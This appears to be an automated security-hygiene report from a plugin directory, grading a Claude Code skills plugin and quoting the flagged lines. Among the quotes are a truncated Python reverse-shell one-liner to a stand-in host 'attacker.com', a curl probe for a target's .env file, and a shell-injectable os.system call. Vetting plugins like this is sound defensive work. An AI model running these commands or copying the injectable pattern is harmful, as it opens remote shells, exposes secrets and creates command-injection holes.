Claude Code, Plugin
skills
🚀 Professional Multi-Agent Skills
Compatibility: Not stated.
Grade B
Minor issues only, no Medium or High. Worth a quick look at the findings below before installing.
Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.
Rescanned at commit 26636cd923a7, unchanged since the check below.
NETWORK_NO_FIXED_HOST SECRETS_PATH_DOTENV PERMISSION_SHELL_DECLARED INSTALL_DOCUMENTED_INSTALLER
Why this grade
- NETWORK_NO_FIXED_HOST Low
Makes a network call whose host is not written as a fixed address.
.agent-skills/api-security/SKILL.md, line 396
response = requests.get( - SECRETS_PATH_DOTENV Low
Mentions a .env file.
.agent-skills/docker-containerization/SKILL.md, line 191
.env - PERMISSION_SHELL_DECLARED Note
Runs shell commands, and the manifest or description says so.
.agent-skills/penetration-testing/SKILL.md, line 207
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/ - INSTALL_DOCUMENTED_INSTALLER Note
Documentation shows an installer that pipes a download into a shell.
.agent-skills/javascript-typescript/SKILL.md, line 23
| **bun** | Runtime + bundler + test runner in one, fastest install | `curl -fsSL https://bun.sh/install \| bash` | Fastest | `bun.lockb` |
Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.
Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.
What was checked
Plain notes from the hygiene checks.
Permissions
Note
requests shell access. The manifest names this permission.
PERMISSION_SHELL_DECLARED
.agent-skills/penetration-testing/SKILL.md, line 207
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/
.agent-skills/security-analysis/SKILL.md, line 157
os.system(f"convert {user_input} output.png")
.agent-skills/security-analysis/SKILL.md, line 171
subprocess.run(["convert", user_input, "output.png"], check=True)
Install and update
Note
The docs document an installer that pipes a download into a shell.
INSTALL_DOCUMENTED_INSTALLER
.agent-skills/javascript-typescript/SKILL.md, line 23
| **bun** | Runtime + bundler + test runner in one, fastest install | `curl -fsSL https://bun.sh/install \| bash` | Fastest | `bun.lockb` |
.agent-skills/javascript-typescript/SKILL.md, line 52
curl -fsSL https://bun.sh/install | bash
Network
Concern
can reach a host that is not written as a fixed address.
NETWORK_NO_FIXED_HOST
.agent-skills/api-security/SKILL.md, line 396
response = requests.get(
.agent-skills/browser-automation/SKILL.md, line 366
const res = await fetch(SKILLS_JSON_URL);
.agent-skills/browser-automation/SKILL.md, line 409
fetch(`${RAW_BASE}/${skillName}/SKILL.md`),
Show more
.agent-skills/browser-automation/SKILL.md, line 410
fetch(`${RAW_BASE}/${skillName}/SKILL.toon`).catch(() => null)
.agent-skills/browser-automation/SKILL.toon, line 141
const skills = await fetch(`${RAW}/../skills.json`).then(r => r.json());
.agent-skills/browser-automation/SKILL.toon, line 142
const skillMd = await fetch(`${RAW}/router/SKILL.md`).then(r => r.text());
.agent-skills/docker-containerization/SKILL.md, line 91
CMD python -c "import urllib.request; urllib.request.urlopen('http://localhost:8000/health')" || exit 1
.agent-skills/javascript-typescript/SKILL.md, line 228
const data = await fetch('/api/config').then(r => r.json());
.agent-skills/javascript-typescript/SKILL.md, line 313
fetch(url, { signal: controller.signal })
.agent-skills/javascript-typescript/SKILL.md, line 772
const result = await fetch('http://localhost:3000/api/health');
Secrets
Concern
reads a credential or environment file.
SECRETS_PATH_DOTENV
.agent-skills/docker-containerization/SKILL.md, line 190
# Env
.agent-skills/docker-containerization/SKILL.md, line 191
.env
.agent-skills/docker-containerization/SKILL.toon, line 20
- `.dockerignore`: git, node_modules, .env, docs, IDE files
Show more
.agent-skills/golang-development/SKILL.md, line 1428
docker-compose*
.agent-skills/golang-development/SKILL.md, line 1429
.env
.agent-skills/javascript-typescript/SKILL.md, line 680
| `.env` loading | Built-in (`Bun.env`) | Requires `dotenv` package |
.agent-skills/javascript-typescript/SKILL.md, line 821
// .env loaded automatically - no dotenv needed
.agent-skills/penetration-testing/SKILL.md, line 137
curl -I http://target.com/.env
Agent instructions
Pass
No instruction to ignore earlier instructions or to hide a step.
Obfuscation
Pass
No encoded or minified payload found.
Licence
Pass
A licence file is present (LICENSE).
Maintainer activity
Pass
The latest commit is within the last 365 days.
Note
Hygiene check of commit 26636cd923a7. requests shell access. The manifest names this permission. The docs document an installer that pipes a download into a shell. can reach a host that is not written as a fixed address. reads a credential or environment file.
Date and source
Date checked:
github.com
Commit graded: 26636cd923a7a7214507c1550cacaee652c9a2a5
This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.